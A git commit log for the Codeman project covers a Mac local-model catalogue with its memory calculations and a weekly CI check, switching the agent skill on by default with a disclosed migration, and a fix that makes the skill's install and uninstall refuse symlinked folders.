Compare commits

..
Author SHA1 Message Date
Codeman maintainer 236fecf6b9 chore: version packages
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 11:11:06 +01:00
Codeman maintainer 8a54ded78b Merge #784: a local model catalogue for every Mac memory size, and its weekly check 2026-11-08 11:10:13 +01:00
Codeman maintainer 04c4e43913 Merge the weekly local model catalogue check into the local model feature 2026-11-08 11:08:36 +01:00
Codeman maintainer 8fa2884f48 Merge #787: turn the Codeman agent skill on by default 2026-11-08 10:41:11 +01:00
Codeman maintainer 9c9245028b Merge #784: the codeman skill drives the local model (cloud plus local) 2026-11-08 10:41:02 +01:00
Codeman maintainer e63721e945 Merge #786: name the app's Add a Coding Agent menu item as the app shows it 2026-11-08 10:41:02 +01:00
Codeman maintainer 97f5208e0b Merge #773: an agent can be added from the app later, under its real menu name 2026-11-08 10:41:02 +01:00
Codeman maintainer 83fb523979 fix(local-model): rollback copies follow each tag's own draft length
The previous commit counted 4 rollback copies of the recurrent state for every GGUF with a
prediction layer, the runtime's default `draft_num_predict`. A tag can set its own in its
params layer, and the runtime then passes that as `--spec-draft-n-max`, which is what
`need_n_rs_seq()` turns into rollback copies. Read on 2026-11-08:

- qwen3.6:35b-a3b-mtp-q4_k_m: draft_num_predict 2, so 2 copies (was counted as 4).
- qwen3.8:27b-mtp-q4_k_m: draft_num_predict 4.
- qwen3.8:27b-q8_0: none in its params, so the runtime's 4.

The 35B-A3B GGUF row's overhead drops by 132 MB: 0.971 instead of 0.976 on a 36 GB M3 Pro or
M3 Max, the same pick. test/local-model-catalog.test.ts now carries the drafted tokens per row
instead of a yes/no prediction layer.

Also states what was verified about llama.cpp's checkpoint default: 8 from b6800 to b8200,
32 from b8250 together with a checkpoint every 8,192 prompt tokens (common/common.h at those
tags), in place of an inferred reason. Checked in the b12111 source as well: the draft context
of a Qwen-family MTP model caches the prediction block alone (`mtp_on_hybrid_qwen`, layers at
or above n_layer()), and the main context leaves it out, so the row counts that layer once.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:38:12 +01:00
Codeman maintainer ae392a6c85 docs(local-model): pinning digests changes the catalogue's no-digest rule
The weekly check's report and docs ask for an optional `digest` on each catalogue row, but the
catalogue keeps no digest on purpose: test/local-model-catalog.test.ts ("holds no download
data") refuses a `sha256` anywhere in it. Say so where the digest contract is described, so a
maintainer reads it as a decision for the catalogue, not a quick schema change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:31:11 +01:00
Codeman maintainer e6ed86771e ci(local-model): hold a row that names its runner to the build a Mac pulls
The catalogue that names each row's runner (feat/local-model-catalog-v2: `runner` is `mlx` or
`llamacpp`, and a row's memory figures follow that runner's rule) needs the weekly check to
notice when a tag starts serving a Mac another runner: a tag that gains an mlx child, or a
list that loses it. The size check usually catches that, but not when the two builds come out
about the same size, and the figures are wrong either way.

classifyModel() now raises a `runner` finding when the row names a runner and the build a Mac
selects runs on another one. catalogueRunner() maps the registry's names into the catalogue's:
`mlx` stays `mlx`; `llamacpp`, and `ggml` (what Ollama calls a GGUF manifest that names no
runner), are `llamacpp`, because Ollama 0.40.15 serves every GGUF build through llama-server.
A catalogue without the field (the one on this branch today) is never held to a runner.

Run live on 2026-11-08 against the v2 catalogue's eight rows: exit 0, every runner matches.
Tests: the mapping, the finding (both directions, ggml, an unknown runner, a row without the
field), the report text, and runCheck against the fake registry with a plain GGUF manifest.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:30:06 +01:00
Codeman maintainer 2cd3cbd6a0 fix(local-model): count what llama-server keeps beside the K/V cache, and bound its checkpoints
The llama.cpp memory rule of the catalogue left out two allocations that the llama.cpp the
runtime bundles (b12111, the runtime's LLAMA_CPP_VERSION) makes for every GGUF row:

- Context checkpoints. For a model whose state cannot be rolled back (the recurrent state of
  the Qwen-family rows, the sliding window of North Mini Code), llama-server keeps host copies
  of that state, two or three per request, up to 32 per slot by default
  (tools/server/server-context.cpp create_checkpoint). For the 27B that is 32 x 157 MB = 5 GB,
  none of which was counted. The runtime now sets LLAMA_ARG_CTX_CHECKPOINTS=8 (read by
  llama-server from its environment like LLAMA_ARG_CACHE_RAM; 8 was llama.cpp's own default
  before it went to 32), and every llamacpp row counts 8 copies of its state.
- Multi-token prediction. The two -mtp tags and qwen3.8:27b-q8_0 carry a prediction layer
  (nextn_predict_layers 1, read from the first bytes of each GGUF; the 9B tags and North Mini
  Code have none). The runtime then always passes --spec-type draft-mtp --spec-draft-n-max 4,
  so llama.cpp keeps 4 rollback copies of the recurrent state (need_n_rs_seq(),
  llama-memory-recurrent.cpp) and the prediction layer's cache in the draft context's cache
  type, f16 by default. The rows counted one state and that layer at q8_0.

What moves (test/local-model-recommend.test.ts, "every memory size", re-pinned):

- 16 GB: limited -> none. MiMo 9B at 65,536 tokens needs 10.2 GB, 0.987 of the 10.4 GB
  estimate. With the budget the Mac mini measured (10.7 GB after the reserve) it is offered,
  0.954, tight; that test is kept. With 4 checkpoints instead of 8 it would be 0.966 on the
  estimate: this size sits on the edge, and only a run on such a Mac settles it.
- 18 GB: the same pick, 0.964 instead of 0.928.
- 36 GB: the same picks, 0.966 (27B on M4/M5 Max) and 0.976 (35B-A3B GGUF on M3).
- 48 GB on a Max chip: the 27B at 262,144 tokens is tight (0.853) instead of good.
- 32 GB with a measured budget of 0.74: North Mini Code at 131,072 tokens (was 262,144), the
  27B at 65,536 on a Max chip (was 131,072).
- Every MLX row, and everything from 64 GB up, is unchanged.

test/local-model-catalog.test.ts recomputes the new rule from the architecture table and holds
the catalogue to LLAMA_ARG_CTX_CHECKPOINTS. The catalogue header, runtime.ts, the types,
docs/local-models.md, CLAUDE.md and architecture-invariants say the same. Read in the source,
not measured.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:26:57 +01:00
Codeman maintainer 235db69c1e fix(agent-skill): the migration's log line says it switched the setting on
It stores true rather than clearing the key, so the line now says what happened.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:11:36 +01:00
Codeman maintainer cda4184e42 docs(agent-skill): say what the migration does after a refused first start
The migration's file comment and the invariants said a restored settings.json
stays as restored and that a refused start leaves the migration to the next
start. Both hold, but the first only once the migration has run: after a
first 1.50.0 start that found settings.json unparseable, no marker exists,
so an off saved between the fix and the next start is switched on with the
rest. That is the same "cannot tell a chosen off from the old default" trade
the release note already states, in a narrower window. Both texts now say
so. Comment and docs only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:09:34 +01:00
Codeman maintainer f1cfe61950 docs(agent-skill): the settings schema comment still said default off
The JSDoc on `agentSkillEnabled` in SettingsUpdateSchema said the skill is
injected into `<case>/.claude/skills/` on Claude session create and is
"SYNCED, default OFF ... so it is opt-in". Since this branch it is on when
absent, goes into whichever directory the session's CLI scans for skills,
and a false stored by 1.49.0 or earlier is switched on once at the first
1.50.0 start. Comment only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:09:30 +01:00
Codeman maintainer bc9c3c1639 docs(local-model): two catalogue header claims made exact
The Q8 27B row counts a prediction layer its GGUF may or may not carry
(not checked, careful side), and the macOS notice on the runtime's page is
about Laguna XS 2.1; Laguna S 2.1 is set aside for its open runtime issues.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:39:48 +01:00
Codeman maintainer 97f10a1033 docs(local-model): the long-session caveat of the tested pair, and what the check proves
The 48 GB row now says the test was a short task and that MLX may keep up
to 8 GiB more in a long session, which brings the pair to the edge of the
budget. The check after the download says what it proves for each runner,
from the runtime's source: for a GGUF build both of its figures are the
buffers llama-server reports allocating, so the check covers the whole
load whatever the cache type; for an MLX build only the weights. And the
docs say where a new row's architecture goes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:39:27 +01:00
Codeman maintainer edfc2ed667 docs(agent-skill): say what the setting UI test pins, not that it proves the deleted-key shape
The migration's file comment said test/agent-skill-setting-ui.test.ts proves
both shapes. It pins the shipped one (a stored true wins on a device holding the
old false); the deleted-key shape was measured with the same harness and is not
kept as a test.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:38:15 +01:00
Codeman maintainer dd83d34b8e test(local-model): every catalogue model id passes each offered harness's launch check
The new GGUF rows carry lowercase quantization tags (`-q4_k_m`); pin that
the launch path's model id test (`cliAcceptsCustomModelId()`) accepts every
stock id for every harness the catalogue offers, so a row the chooser shows
can always be started.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:35:55 +01:00
Codeman maintainer 46fa954b2e docs(local-model): what each Mac gets, and where every memory figure comes from
docs/local-models.md gains "Which model fits which Mac": the answer of the
stock catalogue for every memory size from 8 to 512 GB, why the chip
changes it at 36 to 96 GB, and why nothing is offered below 65,536 tokens.
"How much memory a model needs" explains the two runners (llama.cpp
allocates its K/V cache at load, MLX grows it and keeps up to 8 GiB of
prefix snapshots), the three runtime settings the llama.cpp rows assume,
and per row where its memory and speed figures come from. The check after
the download now says that for an MLX build it proves only the weights,
and "What to know" says most figures are calculated, not measured.

CLAUDE.md: every row names its runner and carries its own figures, and
the llama.cpp rows and runtimeEnv() change together.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:35:28 +01:00
Codeman maintainer 989fcd778a feat(local-model): a catalogue for every Mac from 8 to 512 GB, each row with its own figures
The catalogue had seven Qwen-family rows that all carried the memory
figures measured on one model (Qwen3.6 35B-A3B on the MLX runner), so a
9B or a dense 27B was judged with figures that do not describe it, two
rows had the wrong Mac download size, and every Mac below 32 GB got
"none".

Now eight rows, each with the runner a Mac really uses for its tag (a new
`runner` field: `mlx` or `llamacpp`) and memory figures of its own:

- the 35B-A3B MLX row keeps its measured figures and the tested pair;
- every llama.cpp row is computed from its model's config.json: a q8_0
  K/V cache for the whole context (what the runtime now sets), its
  recurrent or sliding-window state, 1.0 GB of runner and the 1 GiB host
  prompt cache;
- the one other MLX row (Ornith 1.5 122B) is computed the same way,
  scaled by what the measured row showed, plus the runner's 8 GiB of
  prefix snapshots.

Sizes are the registry's Mac pull totals (2026-11-08, lowercase ids
verified there). What each memory size gets: 8 GB none; 16 to 32 GB a 9B
(limited); 36 GB Qwen3.8 27B or the 35B-A3B as GGUF; 48 GB the tested
pair (or the 27B on a Max chip); 64 and 96 GB the 27B or the 35B-A3B;
128 to 512 GB Ornith 1.5 122B. Nothing but the one row was measured.

The catalogue test recomputes every computed figure from a table of
architectures and lets two rows share figures only when they share the
architecture and the runner. The rule tests of recommend() now run on a
frozen copy of the 2026-11-06 catalogue, so a weekly catalogue update
changes only the per-memory table and the real-Mac tests.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:33:48 +01:00
Codeman maintainer f60b63c005 feat(local-model): q8_0 K/V cache, flash attention and a bounded prompt cache for llama.cpp
runtimeEnv() now also sets OLLAMA_KV_CACHE_TYPE=q8_0, OLLAMA_FLASH_ATTENTION=1
and LLAMA_ARG_CACHE_RAM=1024. Read in the v0.40.15 source of the pinned
runtime: the first becomes --cache-type-k/-v of llama-server (17/32 of the
f16 cache), the second --flash-attn on (a quantized V cache needs it, and
"auto" or "off" would fail such a load), and llama-server inherits the third
from ollama serve's environment, which bounds its host prompt cache to
1 GiB instead of letting it grow by gigabytes in a session. The MLX runner
reads none of them.

The catalogue's llama.cpp rows are computed for these values, so the two
change together. Not yet measured on a Mac.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:18:51 +01:00
Codeman maintainer 0c0ada7cdb docs(agent-skill): existing installs that stored off are switched on once
The changeset, CLAUDE.md, the invariants, the agent control plan, both READMEs
and the wiki's Codeman Skill and Settings Reference pages said an install whose
App Settings were saved on an earlier version stays off until switched on. They
now say the first 1.50.0 start switches a stored off on once, and that turning
it off afterwards sticks. The changeset marks it "Behaviour change:", says the
migration cannot tell a chosen off from the old default, and tells users to
reload a tab left open from before the upgrade before saving App Settings in
it. CLAUDE.md lists the marker file among the data dir's state files, and the
invariants record why it stores true, why the marker is its own file, and
where it runs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:15:58 +01:00
Codeman maintainer 55e0f0e7e4 feat(agent-skill): switch a stored off from before 1.50.0 on, once per data dir
Every App Settings Save up to 1.49.0 wrote `agentSkillEnabled: false`, chosen
or not (the switch loaded an absent key as off and Save sends the whole form),
so the new default never reached an install that had ever saved. On its first
start the server now replaces a stored false with true, once per data dir, and
logs one line when it does. It cannot tell a deliberate off from the old
default; that is accepted and stated in the release notes. An off set after it
ran stays off.

It stores true rather than deleting the key: the page's merge overwrites only
the synced keys the server has, so every device that saved on 1.49 kept its own
false, showed the switch off and wrote false back on its next Save (measured in
the JSDOM harness). True wins on every device, including a browser still on a
cached settings-ui.js. For a server with no key the page now drops the device's
copy as well, so the switch shows the default.

The "done" marker is its own file, `agent-skill-default-migrated.json` in the
data dir: it is not a setting, so GET /api/settings never returns it, no Save
can send it back (the strict schema would refuse it) or drop it (which would
re-arm the migration), and a config-backup restore leaves it alone. It is
checked before anything is read and written only after the settings write
landed. The migration runs in WebServer.start() before the first settings read
and before listen (skipped in test mode, like the other boot-time writes),
writes only through mutateSettingsFile(), drops the 2 s settings cache, and
leaves a settings.json that does not parse alone with no marker, so the next
start after the fix runs it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:15:53 +01:00
Codeman maintainer a9e08732c0 docs: leave the skill default to its own PR, and say what stays on the Mac
The skill-on-by-default change ships in its own pull request with the self-ignoring copy, so this branch keeps the old default and its wording. The local models guide no longer says nothing leaves the machine: the prompts go to the local model, while the coding agent may still check for updates.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:01:00 +01:00
Codeman maintainer 54c02990ba Revert the skill default flip on this branch: it ships in its own pull request
This reverts commit 0aa34da8, which made the codeman agent skill default on here as well. That change lives in feat/agent-skill-default-on, together with the self-ignoring copy and the reference-folder symlink check it needs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:00:59 +01:00
Codeman maintainer 14cf95e6ee test: create the custom-working-dir session in a temp folder, not /tmp/test
session.test.ts created a session in the fixed `/tmp/test`, so with the agent
skill on by default every `npm test` wrote a skill copy into
`/tmp/test/.claude/skills/codeman/` and left it there. It now uses a temp
folder of its own and removes it afterwards.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:57:28 +01:00
Codeman maintainer d358e611d9 docs(skill): say where opencode was measured, and the rc 3 leftover
The opencode readiness and marker measurements were made on Linux, not
on a Mac, and the docs now say so. A worker whose pane ends after it
wrote its answer file but before the marker matched answers 3 with no
answer: the rc 3 row now says the file may still be in its folder. The
example's input folder is named input, so the prompt reads cleanly.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:50:24 +01:00
Codeman maintainer 0a0ebfd274 docs: plugin users and the skill default, and what a local session keeps
The Codeman Agent Skill setting is now on by default, and the per-case
copy it writes lists twice next to the Claude Code plugin (codeman and
codeman:codeman), the same as a codeman skill install would. The README
and the wiki now say so and tell plugin users to turn the setting off.

The README's local model bullet said the session "sends nothing off the
machine". The server keeps the runtime on loopback with its cloud
features off, but opencode itself is not configured offline (its model
catalogue and update checks are untouched), so the bullet now says what
the code does: the prompts and files go to a model on this Mac.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:47:31 +01:00
Codeman maintainer 938c213552 fix(skill): sendmark also ends on a settled answer file
Measured on opencode 1.3.0 in a private tmux socket, with a fake
OpenAI-compatible endpoint streaming the reply a character or two at a
time: the marker was on the screen, but the stripped client stream read
D, spinner, O, spinner, N, ... because opencode redraws its spinner
between the streamed pieces, so wait-output never matched it. sendmark
then waited its whole timeout and answered 2 for a reply that had
finished, with the answer file already written (opencode's write tool
wrote it without asking).

The marker wait now runs in rounds of at most 10 s, and between rounds
the answer file is a way out too: a non-empty regular file whose
checksum held still for one round is read, with matched false. The
marker stays the fast path. The answer-file wait after a marker no
longer spins when the exit wait gets no answer, and treats an ended
wait as the worker gone.

The same run measured the readiness mark: with a fresh home and a
custom provider, the first composer bar came with the composer and a
prompt pasted with its Enter at that moment was submitted, so the docs
say so instead of "not measured". The example keeps its input in a
subfolder, apart from the case's CLAUDE.md.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:47:26 +01:00
Codeman maintainer 3d61402250 docs(agent-skill): record the reference-folder symlink refusal and the live CLI checks
The architecture note now says that install and uninstall refuse a linked
folder inside the copy, why (a cloned repository or a Docker case's
container can plant one), and that the check is not race-proof. It also
records which CLIs were checked live with the copy's ignore file in place:
Claude Code 2.1.319, Codex 0.162, OpenCode 1.3.0 and Grok 1.0.52 all list
the skill; agy, dsh, gemini and omp were not measured.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:37:00 +01:00
Codeman maintainer cd2265f8d0 docs(agent-skill): name GitHub Copilot among the CLIs that get no skill copy
Copilot's registry entry takes no agent skill, like Pi and a plain shell, but
the changeset, the App Settings help text, the Settings Reference and
CLAUDE.md named only Pi (and the shell). The Agent CLIs wiki page still said
no CLI but Claude gets the bundled skill; every CLI except Pi and Copilot
gets it, in `.agents/skills/`.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:35:38 +01:00
Codeman maintainer df98912596 test: keep session creates out of the machine's real /tmp
Five gate files created sessions with `workingDir: '/tmp'` against a real
server. With the agent skill on by default, every `npm test` then wrote a
skill copy into `/tmp/.claude/skills/codeman/`, outside the per-file temp
HOME, where a Claude Code started in `/tmp` would load it (the workspace
hooks already landed in `/tmp/.claude/settings.local.json` the same way).
Each file now uses a temp folder of its own and removes it afterwards.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:35:04 +01:00
Codeman maintainer ddcdd5d974 fix(agent-skill): refuse a symlinked reference folder inside the skill copy
Install and uninstall checked only the copy and its parent for symlinks, so a
`reference` folder that is a link carried every write and unlink of
`reference/<name>.md` to wherever it pointed. Measured: install overwrote a
`history.md` outside the workspace and uninstall deleted it. A cloned
repository can commit that link, and a Docker case's container can plant it
in the bind-mounted workspace the host injects into. With the skill on by
default, both now ran without the user asking.

Both paths now return 'symlink' for a linked folder inside the copy, before
the first write or unlink, and the refusal messages say so.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:33:02 +01:00
Codeman maintainer 5a9de1bc4c fix(skill): name sendmark's workers by class, not a partial mode list
sendmark's comment and verbs.md 5.5 listed six external modes by name,
and test/agent-skill-mode-lists.test.ts refuses any partial list of them
(the one a ninth CLI would silently miss). Both now say what the class
is: a hook-less claude, a worker on the local model, and every external
agent mode but deepseek.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:24:14 +01:00
Codeman maintainer 0aa34da80f feat(settings): the codeman agent skill is on by default
agentSkillEnabled now reads an absent key as ON, the way
workspaceHooksEnabled does: only an explicit false turns it off. A new
session therefore finds the codeman skill in its folder without a
setting first, and with it the verbs that hand work to other CLIs and to
the local model on this Mac. Settings shows the switch on for the same
absent key.

The injection itself is unchanged: add-only, marker-owned, never through
a symlink, never for remote sessions or a plain shell. Turning the
setting off still removes nothing already written.

The quick-start test now pins the new default (injected on an absent
key, nothing after an explicit false), and the docs that said "default
off" say when that changed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:13:51 +01:00
Codeman maintainer 83576153d0 ci(local-model): name the digest contract and ask for measured rows first
A row can pin its build only as `digest`, the value /api/tags reports
after the pull, and LocalModelEntrySchema must gain that optional field
before the weekly check can compare it. The script header and the docs
now say so, so the field cannot arrive under another name and be ignored.

Until it exists, the report's digest table names the build a Mac pulls
for each row and asks for the rows with measured figures first: their
memory figures describe one build, and without a digest a rebuild of
about the same size goes unnoticed. A switch between the mlx and the gguf
build is still caught by the size check (2% or more apart).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:54:21 +01:00
Codeman maintainer d12bef0833 ci(local-model): check the model catalogue and the runtime pin every week
scripts/check-local-model-catalog.mjs reads every catalogue tag the way
Ollama 0.40.15 on Apple silicon reads it: it asks for the manifest list,
takes the mlx build when the tag offers one (else llamacpp, else ggml),
and compares that build's pull total (layers plus config) with the row's
`bytes`. It also reports a tag that is gone, a build whose `requires` is
newer than the pinned runtime, a pinned digest that moved, a newer Ollama
release, and a pinned ollama-darwin.tgz that is gone or changed. It never
requests a layer, bounds every request, retries nothing and validates
everything that reaches the report. Exit 0 clean, 1 drift, 2 failed.

The plain Docker manifest of a list tag is the llamacpp build, not what a
Mac pulls. Read the right way, the first run finds two rows sized from the
wrong build: qwen3.5:9b (a Mac downloads 7,639,229,431 bytes, +16.6%) and
qwen3.8:27b (18,174,721,847, +2.4%).

.github/workflows/local-model-catalog.yml runs it Mondays at 06:00 UTC
and on dispatch. The check job installs with --ignore-scripts and holds a
read-only token; a separate job with issues: write and no checkout opens
or updates the one "Local model catalogue: weekly check" issue on drift,
comments on it on a clean week when it is open, and is skipped when the
check failed. Actions are pinned by commit.

docs/local-models.md gains "Keeping the catalogue current".

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:50:27 +01:00
Codeman maintainer 91ca7e54de docs(local-model): cloud plus local, through the codeman skill
docs/local-models.md says how a Claude Code session drives the model on
this Mac through the skill (local_model, spawn_worker local, sendmark)
and what stays true: the skill never installs a model or answers a
confirmation, one request at a time, and Stop and Remove wait for the
workers it opened.

The README gets the local model as a feature with that pairing, and an
example prompt in the skill's table; the wiki's skill page gets the same
row and a short paragraph.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:49:22 +01:00
Codeman maintainer 28e8029ce5 docs(skill): Claude in the cloud, a local model on this Mac
SKILL.md gets a subsection after the DeepSeek Harness workers: why to hand
work to the model on this Mac (bulk work with no per-token bill, files
that stay on the machine, a second opinion, a worker that needs no
network), the copy-paste block (local_model, spawn_worker local, sendmark,
delete_session), and the limits as the code has them: a person installs
the model, one request at a time, slower than the cloud, markers not
hooks, a spawn can start a runtime the person stopped, admin only and
experimental.

The description now names the local model, so "use the local model"
reaches the skill. Section 2 gains a row, the hook-less row points at
sendmark, and reference/verbs.md gets 5.16 with every local_model reason,
the spawn steps and the sendmark exit codes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:48:32 +01:00
Codeman maintainer b913092be3 feat(skill): spawn and drive a worker on the local model
The codeman skill's preamble learns the model Codeman installs on this Mac:

- local_model asks GET /api/v1/local-model and prints one JSON line: the
  installed model, the coding agent that runs it and its endpoint, or the
  reason there is none (not a Mac, nothing installed, an unfinished
  install, a blocked install, admin only, a server without the routes).
  Exit 0 only when a worker can start now or after a runtime start.
- spawn_worker <name> local (and name:local in spawn_workers) starts a
  stopped runtime the way the window's Start button does, quick-starts the
  installed agent with customModel, and waits for its composer (OpenCode's
  bar, the claude path for a claude agent, LOCAL_READY_MARK otherwise). A
  confirmation question from quick-start fails the spawn with empty stdout;
  nothing is ever confirmed on the person's behalf.
- sendmark <sid> <prompt> drives any agent worker without an end-of-turn
  signal: the exactly-once input body, a split marker through wait-output,
  then the answer read back from a file the worker wrote in its folder
  (regular files only, 256 KB at most), with one exit code per outcome.

The preamble stamp moves to 1.50.0 so every cached copy is rewritten.
The tests run the real preamble against a stubbed server.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:48:08 +01:00
Codeman maintainer 9c64fc128d docs(agent-skill): say the skill is on by default and stays out of git
Every place that called the Codeman Agent Skill setting off by default now
says it is on by default since 1.50.0, where to turn it off, and that turning
it off still removes no copy already written (`codeman skill uninstall --case
<name>` does). The README, the wiki's Codeman Skill page and the FAQ say an
agent inside Codeman usually has the skill without an install step, and that
the copy ignores itself in git.

Also written down: an install whose App Settings were saved on an earlier
version stored the old default and stays off until switched on; with the
Claude Code plugin installed, Claude Code lists the skill twice (both work);
and, in the invariants, the self-ignoring `.gitignore` rules and the
measurement that Claude Code 2.1.319 never runs `git check-ignore` on a skill
folder. The agent control plan keeps its original default-off decision and
gains a dated note for the flip.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:45:20 +01:00
Codeman maintainer b3f0ba9e29 feat(agent-skill): turn the Codeman agent skill on by default
An absent `agentSkillEnabled` now means on, on the server
(`getAgentSkillEnabled()` reads `!== false`, like `workspaceHooksEnabled`)
and on the page (the App Settings switch loads `!== false`, so a Save of any
other setting no longer writes the old default back). Only an explicit false
turns it off. A partial settings PUT that omits the key leaves it as stored,
since the route merges the request into the file.

The switch's help text says it is on by default, that the copy stays out of
git, and that turning it off removes no copy already written. The shared
route-test mock now defaults to on too, so route tests see what a user sees.

Tests: quick-start against a real server (absent key injects, a partial PUT
keeps it on, an explicit false stays off through a later partial PUT), the
real openAppSettings/saveAppSettings in JSDOM (absent shows on, explicit false
shows off, a Save on a never-touched install sends true and passes the
schema), and the plain create route at the mock's default.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:42:56 +01:00
Codeman maintainer ba9d311cb7 feat(agent-skill): make the injected skill copy ignore itself in git
Every Codeman-managed copy of the agent skill (`.claude/skills/codeman/`,
`.agents/skills/codeman/`, and the user-level copy) now carries a `.gitignore`
of `*`, written once with O_EXCL before any skill file, the way the prompt
uploads folder does. A user's repository no longer lists the copy as
untracked, and Codeman never touches the repository's own ignore files.

A file already at that name is never overwritten, a copy injected before this
gains the file on its next install (reported as refreshed), and uninstall
removes it only when it is the last thing left and holds exactly `*`, so a
user's extra files in the folder stay ignored. Claude Code 2.1.319 runs
`git check-ignore` only on directories at or above `.claude/skills`, never on
a skill folder, so the skill still loads.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:35:03 +01:00
Codeman maintainer 569eed2b3e docs(wiki): name the app's Add a Coding Agent menu item as the app shows it
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:32:44 +01:00
Codeman maintainer ac59cfa9ca docs(desktop): an agent can be added from the app later, under its real menu name
The desktop README's Known limits still said an agent is added by hand after the install, and the wiki gave the menu item a shorter name than the one the app shows.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:32:23 +01:00
Codeman maintainer 89d18eb9a2 Merge chore/remove-ralph-start-button: the wiki sentence that goes with it 2026-11-08 07:00:16 +01:00
Codeman maintainer b497748e31 docs(wiki): Ralph starts from Session Options only
The welcome screen's "Start Ralph Loop" button is gone (chore/remove-ralph-start-button), and it was the wizard's only entry point, so the page no longer offers the wizard as a second way in.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:00:16 +01:00
Codeman maintainer 34a7812008 Merge docs/mac-app-download: scope the Apple logo blink to the MacBook Pros that have it
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 05:03:15 +01:00
Codeman maintainer 0c63f76d31 Merge ci/macos-app-release: a rebuild by hand takes only a Codeman release tag on master
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 05:03:15 +01:00
Codeman maintainer 8f5d2d9bb0 docs: scope the Apple logo blink to the MacBook Pros that have it
"A MacBook Pro whose Apple logo lights up" also describes the 2013 to 2015
Retina MacBook Pros, whose lid logo glows from the display backlight and which
run macOS 11 or 12, both of which the app supports. The View menu's Blink
Apple Logo exists only where CoreBrightness answers for the lid logo
(logo::available() in packages/desktop/src/logo.rs), which is a MacBook Pro
with a PROLED XDR display. The README, its Chinese mirror and the wiki now use
packages/desktop/README.md's wording, so the wiki's "the menu only exists on
such a Mac" holds.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 05:03:09 +01:00
Codeman maintainer 5c61fc1ea8 docs(wiki): Ralph starts from Session Options only
The welcome screen's "Start Ralph Loop" button is gone (chore/remove-ralph-start-button), and it was the wizard's only entry point, so the page no longer offers the wizard as a second way in.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:09:00 +01:00
Codeman maintainer 028bd87494 fix(files): no outside worktree for an adopted session, and say what the routes re-check (#780)
outsideWorktreeOptions() now returns undefined for an adopted session as it does for a remote or Docker one: session.remote and session.docker are undefined on an adopted session, so it needs its own test. An adopted pane gets no paneCwd today (paneExitApplies), so nothing changes in practice; the rule stays true if that ever changes.

The live-worktree.ts @fileoverview said the routes re-check only the realpath of an outside worktree. They also judge the attachment guard rules again on every request (isOutsideWorktreeRootRefused() through withGuardedOutsideWorktree()), which is what makes a confinement or blocked-tree change apply at once.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:08:43 +01:00
Codeman maintainer 2e61ac9534 test(worktrees): keep the system gitconfig out of the code under test (#776)
The two stubs from #776 cover the global ignore file and the global config. A core.excludesFile in the system gitconfig still reached the code under test and failed the same test (reproduced with GIT_CONFIG_SYSTEM pointing at one). GIT_CONFIG_NOSYSTEM closes that, as test/git-hooks.test.ts already does for its code under test.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:07:39 +01:00
Codeman maintainer e19b2c3a54 Merge docs/mac-app-download: link the Codeman app for Mac from the README and the wiki
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:07:07 +01:00
